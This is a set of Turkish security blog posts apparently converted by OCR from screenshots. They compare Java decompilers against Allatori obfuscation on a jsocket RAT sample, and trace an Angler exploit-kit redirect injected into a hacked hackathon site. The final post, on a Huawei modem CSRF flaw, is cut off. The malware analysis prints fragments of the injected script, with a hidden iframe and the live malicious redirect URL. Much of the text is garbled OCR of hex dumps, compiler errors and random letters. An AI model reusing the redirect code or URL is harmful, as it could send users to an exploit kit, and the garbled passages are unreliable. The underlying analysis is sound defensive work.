< 1\, C:\Users\Mert\Desktop\malware\siparisler.jar: Cannot create C:\Users\Mert\Desktop\AAA
config The system cannot find the path specified.
META-INF I, C:\Users\Mert\Desktop\malware\siparisler.jar: Cannot create C:\Users\Mert\Desktop\AAA
0 The system cannot find the path specified.
a.dat 64 6 1, C:\Users\Mert\Desktop\malware\siparisler.jar: Cannot create C:\Users\Mert\Desktop\AAA
AAAAAAAAAAAAAAA... 21.266 73 The system cannot find the path specified.
AAAAAAAAAAAAAAA 85.710 167 1, C:\Users\Mert\Desktop\malware\siparisler.jar: Cannot create C:\Users\Mert\Desktop\AAA

’ y The system cannot find the path specified.
AAAAAAAAAAAAAAA. . 91.039 1.36

86.722 178 1, C:\Users\Mert\Desktop\malware\siparisler.jar: Cannot create C:\Users\Mert\Desktop\AAA ~
< »
AAAAAAAAAAAANAAA.. 89.227 1.81
aUX.class 169 14 Close Break operation Copy to clipboard
Main.class 34349 54 —
meeyg 10381 100318l emors:
< > < >
E3~0 Selected 21.266 bytes in 1 file Total 6 folders and 418.927 bytes in 9 files
(= siparisler_1450159275.rar - WinRAR (evaluation copy) =

j;m b RO & P

Extract To TESI View Delete Find  Wizard Info VirusScan Comment Protect SFX

E ‘s-pansler 1450159275 rar - RAR archive, unpacked size 366.786 bytes v
Name = Size Packed Type Modified Dosya Sifresi : 7565
File folder
siparisler jar * 366.786 131.248 Executable .. 14.12.2015 13:48

= siparisler_1450159100.rar - WinRAR (evaluation copy) -

au

AP LUHIWBO R SUW

Add  Extract To Tesl View  Delete Find  Wizard info  VirusScan Comment Protect SF)(

3 Bl siparisler_1450159100.rar - RAR archive, unpacked size 366.786 bytes v

Name ; Size Packed Type Modified Dosya Sifresi : 0432
= File folder
siparisler.jar * 366.786 131.248 Executable .. 14.12.2015 13:48
= siparisler_1450159284.rar - WinRAR (evaluation copy)

File Commands Tools Favorites Options Help

: DARUHMIRO R 1 U¥

Add  Extract Te Tes( View Delete Find Wizard Info VirusScan Comment Protect SFX

E ‘snpansler 1450159284.rar - RAR archive, unpacked size 366.786 bytes

Sifresi : 5091

Name ’ Size  Packed Type Modified Dosy

siparisler.jar * 366.786 131.248 Executable .. 14.12.2015 13:48

Bu dosyanin, kum havuzu analizi yapan ticari bir tiriinii analiz esnasinda ¢okerttigine sahit olmus biri olarak, sadece ve sadece
cihazlara yatirim yapan ve bel baglayan kurumlarin pamuk ipliginde yasadiklarini yeri gelmigken tekrar sdylemis olayim.

Tabii Python ile Allatori Zip Shortener gibi basit bir arag yazarak bu zip dosyasini agilabilir hale getirmem ¢ok zor olmadi.
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https://www.mertsarica.com/codes/allatori_zip_shortener.py

Applications ~ aces “Terminal = Sun11:18

root@kali: ~/Desktop/malware

| File Edit View Search Terminal Help File Edit View Search Terminal Help

i ZIF

Daha detayl bilgi edinmek i¢in Temmuz ayinda yayimlamis oldugum yazida oldugu gibi bundan sonra bayt kod seviyesinde analize
devam edebilirdim. Eger amacim sadece bunun hangi tiirde bir zararli yazilim oldugunu 6grenmek olsaydi, zahmete girmeden bellek
dosyasi lizerinde yapacagim ufak bir arastirma ile bunun Jsocket RAT yazilim1 oldugunu da 6grenebilirdim.

@ Hex Workshop - [C:\Users\Mert\Desktop\Java\javaw.exe.dmp] -0 “
£ File Edit Disk Options Tools Plug-Ins Window Help

TEEAa0 »i* RAR® © P9 xR e

» “e% v @8 Legacy ASK v

Data at oftset S0082EE
~ |intd 101 -

uintd 101

int16 25

uint.. 25.

int32 16

uint.. 16.

int64 B8,

uint.. B8.

half . 81

float 1.6

dou.. 3.1

DATE <in,

J

java.
T Struchares w 3 & |1 Find Rosusts

Member * Value (dec) # Value (hex) # Size * Address * Length * Length *

i sCompare ¥ Checksum BFind « Bookmarks 5 Output
Finding all instances.. Cursor: 0092F139 Caret: 0092EESE 76991505 bytes OVR |

Bu zararli yazilimi incelerken, http://www.javadecompilers.cony sitesi sayesinde ¢ogu kaynak kod doniistiiriiciisiiniin Allatori'ye karsi
yetersiz oldugunu gordiim. Cogu doniistiiriici, bu zararl yazilimi ya kaynak koda ¢evirmekte basarsiz oldu ya da cevirdigi kaynak
kodu, tekrar derlenemeyecek durumdaydi. Bayt kodu seviyesinde statik analiz ile ilerlemek isteseydim, Allatori'nin karakter dizilerini
gizledigini gorecek ve bunu ¢ozmek igin gizleme yontemini bulmam gerekecekti ve bu bayt kod seviyesinde islerimi biraz daha
uzatacakti. Ben de bu vesileyle, Allatori'ye karsi mevcut kod doniistiiriiciileri degerlendirmeye ve karakter dizi gizlemesi i¢in kullanilan
algoritmay1 hangi doniistliriiciiniin basartyla ortaya ¢ikartabildigini 6grenmeye karar verdim. Bunun i¢in de basari kriteri olarak, kaynak
koduna cevrilen class dosyasinin tekrar derlenebilmesini ve ¢aligtirilabilmesini kabul ettim.

ilk olarak Java ile komut satirma "Hello World" yazan basit bir kod yazdim ve bunu JAR paketine ¢evirdim. Ardindan bu paketi
Allatori'ye vererek gizlenmis (obfuscated) paket olusturmasini sagladim. Son olarak da http:/www.javadecompilers.com/ sitesi
tizerinden her bir JAR dosyasini kaynak koduna ¢evirip derlemeye ve galistirmaya bagladim.
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https://jsocket.org
http://www.javadecompilers.com/
http://www.javadecompilers.com/

B hello.java - Notepad
File Edit Format Yiew Help

public class hello|
?ub1ic static woid main{string []1 argv) // this is the entry point of program

system. out.printInd"Hello world! ");

.xml - Notepad

File Edit Format Yiew Help

<config=
<inputs>
<jar in="hello.jar" out="obf-hello.jar"/>
</Tnputs

<keep-names>
<class access="protected+">
<field access="protected+"/ >
<method access="protected+" />
</class>
</keep-names >

<!—— string encryption --»

<property name="string-encryption” wvalue="maximum"/ >

<property name="string-encryption-type" value="strong"/>

<property name="string-encryption-version” value="v4"/>

<l—— zproperty name="string-encryption-ignored-strings"” wvalue="patterns.txt"/> --»

<!-— Control flow obfuscation

<property name="control-flow-obfuscation” walue="enakle"/ >
<property name="extensive-flow-obfuscation” walue="maximum" />
=

<property name="Tlog-file" wvalue="Tlog.xm1" />
</fconfigs>

Be Ct Yew Fgvortes ook beb
Qs - © - (¥ s Foiders [T31]= 5 Folder Syme

3 C:\Documents and 5.6 5.5

= @) o %y mousegestures-1.2.j0r MouseGesturasOngral bat Funialstor bat [ et
Other Places ™ halo.class ™ helo.jar @) v Ty cbthelojar %y oblf-mousegestures-1.2.jar [ 5 otttestisr
oy et - | - 5 = F ]

&) My Documents

) Shared Documents ‘ obi-heklo_sousce_from_div 20 ‘ ot -helo, e _source_from_JA ‘ bl -helo_scurce_from_idcore ‘ cbf-helo_source_from_Procy. ‘ ctf-helo_source_from_Fernf ‘ cbf-hello_source._from Jad. 20 ,J bl s o s
* My Comguter ) ) : :
J obl-hel. jar_scurce_from_JAD '.J cbf-helko_scnmce_from_ykees ,J obl-els_scarta_from_Procyon J ot -hek_scupce_trom Ferrdt ’J bt heo_sonren_from md

Mosemstures bl sted bat

S My Netwark Flaces
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C
enostutorialsstepBisfiles>RunfAillatori.bat

IC:“Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo*Allatori—5.6-D
enostutorialsstepBisfiles>java —Emsi28m —Hmx512m —jar ..s..N..slibvallatori. jar
iconf ig.xml

AHEHE R R R R R
it #
# i U BEE RE HHH
8 # HEHE H
# # i & 0 oHoHE  H
HOH OBHE BHE B OB OB OHHE B OB HEHE

DEM(O UERSION?
NOT FOR COMMERCIAL USE?

and gives ‘ALLATORI_DEMO’ name
to some fields and methods.

Obfuscation by Allatori Obfuscator v5.6 DEMO

i
it
i
e
i
it
:d
it
i
i
i
it
it
it
i
it

#
#
#
]
#
#
#
#
Demo version adds System.out’s ﬁ
#
#
#
#
#
i http://wuw.allatori.com §
QI I A S A I i i i i R R
[INFO1 Obfuscation completed. Weiting log file...

iC:“Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo~Allatori—5.6-D
eno~tutorialsstepBi~files>

B vk sorc pon_ | Q) obtetosrce from__mp © ) ctthelesores o ¢ ) obbve srcafrom_p - ) sothekoiw om0 ) obthetosee from_ ¢ ) tthelottsorn_ ¢ ) oot s T p—

Degerlendirme sonucunda JadX, Procyon kaynak kodu dénistiiciilerinin basariyla Allatori v5.6 Demo siiriimil ile gizlenmis kodlart
orjinal haline ¢evirebildigini gordiim.

CAWINDOWS\system32\cmd.exe | " : E_x’ l

Microsoft Windows WP [Uersion 5.1.260681
{C> Copyright 1985-2801 Microsoft Corp.

C:~\Documents and Settings“Administratorrcd C:“\Documents and Settings“Administrat
or~Desktop™illatori—5.6-—Demo~Allatori-5.6-Demostutorialsstepdisfilessobf-hello_s
ource_from_cfrwobf-hello_source_from_cfr

IC:“Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo*Allatori-5.6-D
eno~tutorialsstepBisfilessobf-hello_source_from_cfr~wobf-hello_source_from_cfrlja
wac hello. java

16: ir:or: not a statement

IC:“Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo“Allatori-5.6-D
eno~tutorial~stepBi~files~obf-hello_source_from_cfr~obf-hello_source_ from cfr>
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https://github.com/skylot/jadx
https://bitbucket.org/mstrobel/procyon

WINDOWS\system32\cmd.exe

eno“tutor al\gtepﬂi\f1leg\ohf—hellu Jar_source_from_JADE“obf-hello. jar_source fP
on_JADE > javac hello. java

IC:“Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo“Allatori-5.6-D
enostutorialsstepBisfilessobf-hello. jar_source_from_JADE“obf-hello. jar_source_fw
on_JADY >java hello
At R R R R R R R R R R
1t #

#we # # i HE 48 fi

#uan # 8 # BHHH #

B # i # # #
BOn ORBN OBEE RN N HHE N OB OHHR

#

#

#

]

#

Obfuscation by Allatori Obfuscator vS5.6 DEMO #

#

http:ssvuw.allatori.com #

it #

EE S I I I T

Hello Yorld?

:\Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo~Allatori-5.6-D

enostutorialsstepBisfilessobf-hello. jar_source_from_JADE“obhf-hello. jar_source_fr
on_JADE >

WINDOWS\system32\cmd.exe

:“Documents and Settings“Administrato esktopsAllatori-5.h—Demo~Allato 56— DI’
enostutorialsstepBisfilessobf-hello_source_from_jdcore~obf-hello_source_from_jdc
ore>javac hello.java
hello.java:38: error: not a statement

2mp68_ﬁ7;

thello.java:4@: error: not a statement
int ? = tmpbhB_67;

PR

hello.java:48: error:
1nt ? = tmpbhB_67;

expected
thello. java:48: erro not a statement
int 7 = tmpGB _b7;

thello . java:z43: error: not a statement
2mp78_74;

thello . java:45: error: not a statement
(Bx3 ~ Bx5) << 3 " Bx2);

thello.java:52: error: illegal start of expression
z[tmp132_99] ({char>(k * a.charAt{tmplB2_99> * n.charft(j>>>;

he1lo.java:52: error: illegal start of expression

eno\tutorlal\“tepﬂi\f119“\ohf—hellu source_from_Procyonsobf-hello_source from PP
ocyon>javac hello. java

C:“\Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo~Allatori-5.6—D)
enostutorialsstepBisfilessobf-hello_source_from_Procyonsobhf-hello_source_ from_Pr
ocyon>java hello

AHEHE R R R R R
it B # i R HE B
HHH # 8 # HEHE H

8 # HiE # # i i #
# & i B OB B O# i B # R

http:ssvuw.allatori.com

#
#
#
#
#
Obfuscation by Allatori Obfuscator v5.6 DEMO g
#
#
#

it
IR I I R A S S S S I S R R R R S S
Hello Yorld?

:~Documents and Settings“Administrator:Desktop~Allatori-5.6—Demo“~Allatori—5.6—D
enostutorialsstepBisfilessobf-hello_source_from_Procyonsohf-hello_source_from_Pr

:~Documents and Settings“AdministratorDesktop:Allatori-5.6-Demo~Allat
enostutorialsstepBisfilessobf-hello_source_from_Fernf lower>javac hello. java
thello.java:5: error: '{' or '[' expected

StringBuffer variB@Bd = new StringBufferi

hello.java:?: error: <{identifier> expected
varlB@BBd.<{in )20ar13333.getHethodName());

2 errors

:\Documents and Settings“Administrator\Desktop~Allatori-5.6-Demo~Allatori—5.6-D
enostutorialsstepBisfilessobf-hello_source_from_Fernf lower>
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C:AWINDOWS\system32\cmd.exe

“Documents and Settings“Administrator\DesktopAllatori-5.6-Demo~Allat
enostutorialsstepBisfilessobf-hello_source_from_jadsobf-hello_source_from_jad>ja
wac hello. java
thello.java:13: error: ;' expected

JUM INSTRAneu #9 {Class StringBuffer>;

.java:13: error: illegal character: “35
JUM INSTR new E? <Class StringBuffer>;

.java:l3: error: > expected
JUM INSTR new #9 {Class ﬁtringBuffer);

.javazl3: error: illegal art of expression
JUM INSTR new #9 <Class StringBuffer)i

.java:13: error: not a statement
JUM INSTR new #9 {Class StringBuffePZ;

.javazi4: error: ’;’ expected
JUM INSTR dup ;

.javazi4: error: not a statement
JUM INSTR Qup H

r: not a statement

Procyon ve JadX sayesinde Allatori v5.6 tarafindan kullanilan karakter dizisi gizleme algoritmasi da ortaya ¢ikmis oldu :)

{ halio java

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Java Kaynak Kodu Doniistiiciileri appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

Zararh JavaScript Avi

Source: https://www.mertsarica.com/zararli-javascript-avi/
By M.S on April 1st, 2016

Kum havuzu (sandbox) analizi yapan teknolojiler/cihazlar, kurumlara dogrudan ya da dolayl olarak yapilan siber saldirilar tespit etme,
gerekli 6nlemleri alma veya aldirma noktasinda olduk¢a 6nemli bir role sahiptir. Bu cihazlarda ortaya ¢ikan alarmlar kurumsal SOME'ler
tarafindan incelendiginde, kimi zaman ortaya ilging giivenlik vakalar1 da ¢ikabilmektedir.

Bu cihazlar tizerinde yer alan alarmlarda veya siiphe duyulan trafik paketleri (PCAP) iizerinde, alarmu tetikleyen veya siiphe duyulan
aktiviteye yol agan zararli JavaScript kodunu tespit etmek, kimi zaman giivenlik uzmanlari i¢in zaman alic1 bir siire¢ haline gelmektedir.
Bunun baslica sebeplerinden biri ise zararli JavaScript kodlariin ¢ogunlukla http trafiginde gizlenmis (encoded) olarak yer almasidir. Bu
nedenle Wireshark araci ile bir PCAP dosyasini agip, gizlenmis JavaScript kodlarinda siklikla kullanilan eval() fonksiyonunu aratmak
bosa kiirek ¢gekmekten farksiz hale gelmektedir.

Gegtigimiz aylarda kum havuzu analizi yapan bir cihazdan aldigim alarmi detayli olarak inceledigimde, Hiirriyet Hackathon'un web
sitesinin hacklendigini ve ziyaretgilerini uitbracht.kateandoliverswedding.co.uk alan adina yonlendirdigini gérdiim.

B LT T
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https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
https://www.mertsarica.com
https://www.mertsarica.com/zararli-javascript-avi/
https://www.mertsarica.com/zararli-javascript-avi/
http://www.btk.gov.tr/tr-TR/Sayfalar/SG-USOM-ve-Kurumsal-SOME
https://www.mertsarica.com/su-kaynagi-saldirisi/
https://en.wikipedia.org/wiki/Pcap
https://www.wireshark.org/
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
http://www.hurriyet.com.tr/turkiyede-bir-ilk-hurriyet-hackathon-basliyor-28636943

Hackathon (ayrica hack giinii, hackfest ya da codefest olarak da bilinir) bilgisayar programcilari, grafik tasarimcilari, arayiiz
tasarimcilart ve proje yoneticileri de dahil olmak iizere katilanlarin yogun bir sekilde yazilim projelerinin gelistirilmesi amaciyla
diger takimlar ile rekabet icerisinde bulundugu bir olaydir.(Referans: Vikipedi)

= Ml Wreshark  Foliom TCP Stram (icp stream aq M58 . F-10 “—':@d}
AN @ AoRE e = |
B [rcp aeam og 2 position: conter | iaportant background -repest: no-repest |iaportents mi‘rm .1u cover | laportant) [/ atylerel--[4f gte T8 8]3<link rele"styleshest™ type=-tenti/css"
et a®/ fu BT et hackatihon . com/up - comtent/ theses /meetup/ style/cos/let cas® oot [endif ] - o Sheads r
~ B B ’ |
e T saurce g || <body clussehome page page-id-114 page-template-default visual-composer-active wpb-Js-composer js-comp-ver-4.4.1 ve_responsive™s [
5109 10086158, 067 saf| ©div ide"kivendo™ styles"position: sbsal -iibtpn; left: -1edipn”sdbde o fdeboshccs b« ndb eg! d. ploced ha mcf - dnee

sa || Codudgind k eqadetabcpdietcyel de d weod @ § & yarct ‘slbmssbh’ do b tdodidibes xe edn § wmafcgbes e ceo bibhafbp seciafcgh v soal a1 fomc ve s, wojmecidbdtaiszdis
1] #eh Low brae resd cdud | dhctss doce ajex cca whhe dpdesgegarch dod odpad doby bibtajeismgace: & rb obi e ccbdbusgth b4 esecevbobl secc @ we wenatovd 63

|| #omenjcvarce b wakchdncs @ faedbe gez bm adth wndictdl @ ybJbabfesh w “alchev'| dybe ac dfeyarcfal bassthdoctc & dcctan d @ eddebun Wb ib 4, bran. axc - b yebIB ¢ co E
3510 fogageade crc. wmsatcdasb - t arc, laghe dodfs. jmsaqcla] buas bhawenctd. lep crdee td he Ls sbtove. fded potbfoses dlekasbt cvb wmd idcdgbfagecd he kde blikendaafs
1476 || caeagchakbadocts sbacr azdch ba tolavesc mb f Bacodposc tags hb. ubc bra w BUStDve rahapbes wckuhb. vahemasbcidche arb fAgCe Sw eqCIessh bactd. mC Aa warblaseesjcasg be
187 || dedjdjaybeblogtnagim afbrd] dod @ 8 1 avduafbtc yb gar dtct dicpbe ard wif es] d jducmd viedjdjbeactls vbra scfand whecxcnbe: sebpas chahbth b cf ctdo dpsusncl b kadbe

S5I80 10186158, 067
SHI 10046158, 4T,
SELNT 10386158, 067
S5149 10:86:58. 067, B3.66.162.127
SEISH 10:46:58. 067, 83.66.162.123

FH140 1914615, 0T §).66.180.132 WTTH 477 || obodha ucpafanciajinalbhbbihdpcn be seshbisecdsqchdt to mcy osbf b b bla behetcl agogded mdr v - be o o g avim ctae, arcrotewoqesd gesbbboc

S3042 10:86: 0. 06T 83.64.162.123 wrte ass || wokdgasc ye dcvd me Lbjcye b baace/dlvs ‘

S5151 1004808067, B, 66 ™o 14 “dilv id="ihidg" style="position: sbrolute; top: -18dlpn; lefr: |

19%Ipu" > 116° 10179971 A0 R 11010110100 1111004113103 00101 N LAY AL 122 :u‘u: 110°6191°34° uv LS A TR T M

b i sl e e bl | T R TP OPH 12°11 27"1847111%1: 2 -

SEIES 0S5 00000 05.40.300-110 " ; 103977167 1117 LA AET 11T 11501010114 u-nl 1017111160 08" ua 110100 10171207 101" "9 nz 181111181 101 LI 11110891 416201

5152 10046150, 067. 80.64.162.122 T ~fie e oo A

S5153 19086150, 067. 83.66.162.122 e

5154 10046158, 067 BD.66.062 i

$515% 10046150, 067, 80.66.362.12 o 4 -

111°120%60° 112101 1

Frame 351421 468 bytes on wire (3744 bits), 468 bytes captured (3744 bits) 1*121°381°121 pitd e8P 181112111100 3 Prefiratiidee e fbrnie yoesd . .
Ethernet 11, Sre: | ), Out: mears_beideifc (0 4011171067113 110 ST 10N et Rt L 115711410 2437183 116110 105110103 46102114 111° 10967 1049711467 111° 1001010040~ 40° 121109+ 120°1 15+ 111+43° |
Intermet Protoccl versies 4, Sec: B3.66.162.132, DyE: 5T 1067 46°99° 1047377 1147671117 100" 101765 1167407 100~ 119" - 10571137987 1827 1067 457 1087 101 11871037 1167 104 41741 177507 53753" |

1232 I L1157 111 %61 Tt 111 112 A5 S TS AL 1257111 108° 115° 116 43" SH° 1157 125 91 “HI°H1* M 9" 111° 118" 11 |

18 e
110 S L6 LA LI T 0" L6 111 104" M0 0 100 115° 1 14° L18° 10" 41 40" 41 * 50 /dlv>

o Trassmission Contrel Protecel, Sre Port: Mtp (890), Dst Pert: 45211 (45211), Seq: 4|
Source Port: Wity (09)
Deitination Port: 45211 (48211)
[Strens index: 3

(relative sequence nusber)

[Mext sequence numbe: 1 (relative sequence musber)]
Acknouledgment nusber: 428 (relative sck musber)
Meader Length: 34 bytes

Plags: @xeie (ax)

Mindou tize value: 61448
[Calculated window size: 15728648]
[window size scaling facter: 236]
(hechias: Susdl® [velidation disabled]
urgent ponter: & 3
Options: (4 bytes), Mo-Operation (NOP), No-Operation (NOP), Mo-Operatisn um.!l
00 5 S b Je fc B0 B0 o B M B M N U N R |
Bl cf 36 00 40 B0 B0 B 59 29 5D A2 A2 Te e W1
65 11 80 50 b0 %R Lo ea 64 o9 26 41 51 61 &0 10
800 44 10 80 80 81 81 81 81 &0 WSS N
b B4 Ba A4 81 T4
BVYBMHMNND DI N
M 20 31 00 Da 3D DN Ja MM D8 AT 44 B M M
A3 6F Ga T4 05 e T4 3 M B8 e AT A 68 N 20
36 33 32 0% 31 0 Be 43 &F e de 65 63 T4 8 @Y

Se 3a 20 4 65 65 78 34 41 6 65 76 45 84 B 36
BN BADN P RATITT
O 79 65 T4 Je 63 6F 64 Ie 74 72 0 0w 45 B4 61
67 3o 30 23 4b VA 4a 47 4d A 45 b 4e 45 4 57
S758 %0 81 W X edie W1 ESTITNEATI N8

41 79 61 63 6 65 3 32 Je M4 Je 34 20 28 57 68 = Sowdste e ASCH v [r———

07 ra 1] e [Crmtnest ] s

Yukarda bahsettigim gibi Wireshark ile PCAP dosyasi i¢inde yer alan zararli JavaScript kodunu aramak zaman alic1 olabilecegi igin
bunu nasil otomatize edebilecegim lizerine diisiinmeye bagladim.

Python ile bir ara¢ hazirlasam, Scapy ile PCAP dosyasini agsa, HTTP trafigini incelese ve script takilari arasinda yer alan JavaScript
kodunu bulsa, calistirsa ve eval() fonksiyonunu tespit etse az ¢ok igimi goriir diye diisiinmeye bagladim. Ancak en biiyiik engellerden
biri JavaScript kodunu Python ile nasil ¢alistirabilecegim olacakti. Cok zaman kaybetmeden, Python araci ile ortaya ¢ikan JavaScript
kodunu, PhantomJS isimli grafiksel kullanici arayiizii olmayan tarayici (headless browser) ile ¢aligtirmaya karar verdim.

Kisa bir ¢aligmanin ardindan ortaya JavaScript Eval Finder admi verdigim bir arag ¢ikti. Bu araca PCAP dosyasini verdiginizde,
javascripts klasoriine script takilarinin yer aldigt HTML dosyalarini kopyalamaktadir. Ardindan Phantomjs ile ¢alisan JavaScript
Extractor yardimci araci ile gizlenmis JavaScript kodunda yer alan eval() fonksiyonu tespit edildiginde, yine bu arag tarafindan bir uyar1
verilmekte ve bir 6nceki adimda kayit edilen HTML dosyalarinin basinda (header) tespit edilen JavaScript kodlar1 yorum (comment)
olarak eklenmektedir.

JavaScript Eval Finder aracini hurriyethackathon PCAP dosyasi iizerinde ¢alistirdigimda ¢ok gegmeden gizlenmis (encoded) olan
JavaScript kodunu bulabildim.
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https://tr.wikipedia.org/wiki/Hackathon
https://github.com/secdev/scapy
http://phantomjs.org/
https://en.wikipedia.org/wiki/Headless_browser
https://www.mertsarica.com/codes/eval-finder.py
https://www.mertsarica.com/codes/js-extractor.js
https://www.mertsarica.com/codes/js-extractor.js
https://www.mertsarica.com/codes/eval-finder.py

remnux@remnux: ~/Desktop/hurriyethackathon

v = v. v. ~ -
I Online JavaScript beautif - X

€« C # [ jsbeautifierorg

Beautify, unpack or deobfuscate JavaScript and HTML, make JSON/JSONP readable, etc.

b under MIT licence,
e as well.

All of the source code is completely free and open, available on

and we have a command-line version, python library and a node packa

Indent with 4 spaces i End script and style with newline?
Allow 5 newlines between tokens ¥ Support edx/jsx syntax

Do not wrap lines b Use commadirst list style?
Braces with control statement b #| Detect packers and obfuscators?
HTML <style>, <script> formatting: Keep array indentation?

Add one indent level b Break lines on chained methods?

¥ Space before conditional: "if{x)" /
Unescape printable chars encoded as
Use JSLint-happy formatting tweaks?
Indent <head> and <body> sections?
Use a simpl for code input?

Beautify JavaScript or HTML

i.sidebar

on.length; epo
gator.userAgent.indexOf(azhon[

SIE18") » tecl) {

J.innerHTML;

* tisbfj.charCodeAt{dws % tisbfj.length)) % 255);

[ { E
zmxso = (dvp - 97)

olst+s;

or" ][ "constructor"](d

nstru

Beautify JavaScript or HTML

"if (x)"

NN or WNNNN?
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Ardindan ortaya ¢ikan (decoded) bu JavaScript kodunu inceledigimde bunun daha once de incelemis oldugum Angler istismar
kitinin farkli bir siiriimii oldugunu goérdiim. Agilmis (decoded) JavaScript kodunu, orjinal HTML dosyasindaki gizlenmis (encoded)
JavaScript kodu ile yer degistirip, Firebug gelistirme araci/eklentisi ile Firefox internet tarayicisi iizerinde analiz ettigimde,
bu JavaScript kodunun ziyaretgileri http://uitbracht.kateandoliverswedding.co.uk/topic/18572-indivisible-arriver-existences-faroft-
prepositions-sunburn-crushing-hittable/ adresine yonlendiren kod oldugunu teyit edebilmis oldum.

Hirriyet Mobil Hackathon - Mozilla Firefox

Hiirriyet Mobil Hacka... x | 4
@ fileyjfhome/remnux/Desktop/malware.html v X ||Q search & Ba ¥+ & » =
Read www.hurriyethackathon.com
# O { » )= console HTML csS v | DOM Net Cookies |p|J:-e #<numbe| & V| aE
(18 all = malware.ntml = {} malware.html P 3 P Watch = | Stack Breakpoints L3
T <Do0y CLas5= Nome page page-10- 1194 page- template-aeradit v.o7 < E ra
=div id="kzvwndo" style="position: absolute; top: -18l’3[9|:|><i New watch expression... =l
<div id="ihidg" style="position: absolute; top: -1942px; this B W
o ;:;;;g::. = B Global Scope [Window] B ) A
12 = s =
25 <!-- UserAgent kontrolu atlatma -->* 7 jQuery function{a. b)
126 navigator.__defineGetter_ {'userAgent’', “function(}{ . R |
return{ "Mozilla/5.8 (Windows NT 6.3; Trident/7.6; rv:l InstallTrigger InstallTriggerimp
1); CONTENT=4, mg
applicationCache @ 0 iterns in offline c
tecl = (+[window.sidebar]);
1 closed B fal
1 =!-- Internet Explorer tarayici kontrolu atlatma --= console Object { log=Ffun
tecl = B; info=function(),
azhon = ["rv:11", "MSIE", 1; content Window malware
for {epox = tecl; epox < azhon.length; epox++) { crypto #i Crypto {
if (navigator.userAgent.index0f(azhon[epox]) = tecl) getRando
gii:; aziontlengrhis epas devicePixelRatio 81
1 document #i Document
' external External { AddSe
if (n:\_r;g:?or.userﬂ.gent.lndex[}f( MSIE18") > tecl) { IsSearchProviderl
91} 5 addSearchEngine
efuvv = gijo - 1; frameElement '
tisbfj = "93wrLfBbUrN3"; L= frames Window malware.[¥)
[»] [£] e [ >

M8 remnu... [, | Desktop [@ Interne... [ M remnu... [[@ Hiirriye...

Hirriyet Mobil Hackathon - Mozilla Firefox

™ Hiirriyet Mobil Hacka... x

. ..I'\. 4

o

@ file:/jfhome/remnux/Desktop/malware.html v X ||Q, search v Ba ¥+ & » =
Read www.hurriyethackathon.com
# Y { » )= console HTML CSS - | DOM Net Cookies |p|J£-E—"-'I‘.L!I11|3F. A v| 2=
Uk | all ~ malware.html = {} malw > | p “i 1 @ | Watch v | Stack Breakpoints 3
WU UTIC T Ty : =
149 dws = tecl; || 'w watch expression... B
150 dsrvf = ""; is
151 for {epox = tecl; epox =< zeyt.length; epox += . - L |
152 dvp = zeyt.charCodeAt({epox); M lobal Scope [Window] 1
153 if (dvp >= 97 &k dvp <= 122) { 8 s unds d
154 if (olst % gijo) { | Wegelln om " -
155 dsrvf += String.fromCharCode({{zm azhon s M TES]
156 dws++; dsrvf "var date = new Date(new Date().
157 } else { 6B*60*24*7+1000); document.cooki
158 zmxso = (dvp - 97) * 26; path=/; expires="+date.toUTCS5tri
158 " PHP_SESSION_PHP=388; path=/;
153 olst++; expires="+date.toUTCString():
161 1 s . document.write('=style=.uoxnytaguyl
@ 162 }[II constructor”]["constructor” ] (dsruf)(): top:-731px;width:388px; height: 38
=/script= class="uoxnytgubzitxaa"=<iframe
SEC * src="http://uitbracht.kateandoli
/18572-indivisible-arriver-exist
e P e S sunburn-crushing-hittable/" widt
=<div class="strip-holder"= sAtranessidiva )i
=div class="strip-1"=></div> dvp 99
=div class="strip-2"></div>
=div class="strip-3"s></div> kel 531
</div= efuvv i
=fdiv=
<div class="nav-container"= e 1319
17 —{ gije 2 =

DG

i |

™ remnu... [ | Desktop [@ Interne... [ ™ remnu... ][[Q:Hﬂrriye...]ﬁ

Ozellikle SOME c¢alisanlari i¢in faydali olacagna inandigim JavaScript Eval Finder ve JavaScript Extractor araclarini tek bir paket
halinde buradan indirebilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not: Bu yaz1 5. Pi Hediyem Var oyununun ¢6ziim yolunu da i¢germektedir ;)

The post Zararli JavaScript Avi appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

Huawei E353 CSRF Zafiyeti

Source:

https://www.mertsarica.com/huawei-e353-3g-modemde-csrf-zafiyeti/
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https://www.trustwave.com/Resources/SpiderLabs-Blog/Angler-Exploit-Kit-%E2%80%93-Gunning-For-the-Top-Spot/
http://getfirebug.com/
https://www.mertsarica.com/codes/eval-finder.zip
https://www.mertsarica.com/pi-hediyem-var-5/
https://www.mertsarica.com/zararli-javascript-avi/
https://www.mertsarica.com
https://www.mertsarica.com/huawei-e353-3g-modemde-csrf-zafiyeti/
https://www.mertsarica.com/huawei-e353-3g-modemde-csrf-zafiyeti/

By M.S on May 2nd, 2016

Gectigimiz Haziran aymin ortasina kadar 2.5 Kg agirliginda nur topu gibi bir diziistii bilgisayara sahiptim. Bu nedenle sabahlar1 ise
giderken, aksamlar isten donerken veya bir cafede otururken biraz makale okumak istedigimde agirlig1 ve biiyiikliigii nedeniyle onu
yanimda tagryamiyordum. Onun yerine sim kart girisine sahip, hafif ve portatif Android tabletim yillardir isimi goériiyordu. Tablet
kullandigim i¢in, 2-3 y1l 6nce Turkcell'den data hatti satin alirken yaninda verilen Huawei marka E353 model 3G USB modemi (Turkcell
VINN) cok kullanma firsatim olmamisti. Haziran aymdan sonra ise ultrabook satin aldigim i¢in tabletimle yollarimi ayirarak 3G modemi
aktif olarak kullanmaya basladim.

3G USB modemler, yaninda diziistii bilgisayar tasiyan ve giivenlik kaygisi nedeniyle giivenlilirliginden siiphe ettigi kablosuz aglara
baglanmak istemeyen bilisimciler i¢in bilyiik bir nimettir. 3G USB modemin aslinda bilgisayarimiza bagladigimiz, iizerinde yonetilebilir
